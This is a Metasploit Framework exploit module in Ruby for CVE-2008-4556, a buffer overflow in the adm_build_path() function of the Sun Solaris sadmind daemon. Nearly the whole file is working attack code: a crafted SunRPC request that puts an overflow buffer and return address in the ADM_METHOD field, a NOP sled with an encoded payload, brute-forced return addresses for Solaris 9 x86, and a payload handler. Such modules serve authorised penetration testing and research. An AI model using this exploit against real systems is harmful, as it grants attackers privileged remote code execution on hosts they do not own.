##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::SunRPC
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
      'Description'    => %q{
      This module exploits a buffer overflow vulnerability in adm_build_path()
    function of sadmind daemon.

    The distributed system administration daemon (sadmind) is the daemon used by 
    Solstice AdminSuite applications to perform distributed system administration 
    operations.

    The sadmind daemon is started automatically by the inetd daemon whenever a 
    request to invoke an operation is received. The sadmind daemon process 
    continues to run for 15 minutes after the last request is completed, unless a 
    different idle-time is specified with the -i command line option. The sadmind 
    daemon may be started independently from the command line, for example, at 
    system boot time. In this case, the -i option has no effect; sadmind continues 
    to run, even if there are no active requests.
      },
      'Author'         =>
        [
          'Adriano Lima <adriano@risesecurity.org>',
          'ramon',
        ],
      'Version'        => '$Revision$',
      'Arch'           => ARCH_X86,
      'Platform'       => 'solaris',
      'References'     =>
        [
              ['CVE', '2008-4556'],
          ['OSVDB', '49111'],
          ['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'],
        ],
      'Privileged'     => true,
      'License'        => MSF_LICENSE,
      'Payload'        =>
        {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
      'Targets'       =>
        [
          [
            'Sun Solaris 9 x86 Brute Force',
            {
              'Arch'       => [ ARCH_X86 ],
              'Platform'   => 'solaris',
              'Nops'       => 1024 * 32,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0x08062030 },
                  'Stop'  => { 'Ret' => 0x08072030 },
                  'Step'  => 1024 * 30,
                }
            }
          ],
          [
            'Sun Solaris 9 x86',
            {
              'Nops'       => 1024 * 4,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0x08066a60 + 2048 },
                  'Stop'  => { 'Ret' => 0x08066a60 + 2048 },
                  'Step'  => 1,
                }
            }
          ],
          [
            'Debug',
            {
              'Nops'       => 1024 * 4,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xaabbccdd },
                  'Stop'  => { 'Ret' => 0xaabbccdd },
                  'Step'  => 1,
                }
            }
          ],
        ],
      'DefaultTarget' => 0
    ))

  end

  def brute_exploit(brute_target)
    sunrpc_create('udp', 100232, 10)

    unless @nops
      print_status('Creating nop block...')
      if target['Nops'] > 0
        @nops = make_nops(target['Nops'])
      else
        @nops = ''
      end
    end

    print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret'])

    hostname = 'localhost'

    # buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')
    buf1 = "A" * 1017 + [brute_target['Ret']].pack('L')
    buf2 = @nops + payload.encoded

    header =
      XDR.encode(0) * 7 +
      XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
        4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
        hostname, 'system', rand_text_alpha(16))

    body =
      do_int('ADM_FW_VERSION', 1) +
      do_string('ADM_LANG', 'C') +
      do_string('ADM_REQUESTID', '00009:000000000:0') +
      do_string('ADM_CLASS', 'system') +
      do_string('ADM_CLASS_VERS', '2.1') +
      do_string('ADM_METHOD', buf1) +
      do_string('ADM_HOST', hostname) +
      do_string('ADM_CLIENT_HOST', hostname) +
      do_string('ADM_CLIENT_DOMAIN', '') +
      do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
      do_int('ADM_FENCE', 0) +
      do_string('X', buf2) +
      XDR.encode('netmgt_endofargs')

    request = header + XDR.encode(header.length + body.length - 326) + body

    begin
      # two seconds timeout for brute force
      sunrpc_call(1, request, 2)
    rescue Rex::Proto::SunRPC::RPCTimeout
      print_good('Server did not respond, this is expected')
    end

    sunrpc_destroy
    handler
  end

  def do_string(str1, str2)
    XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
  end

  def do_int(str, int)
    XDR.encode(str, 3, 4, int, 0, 0)
  end

end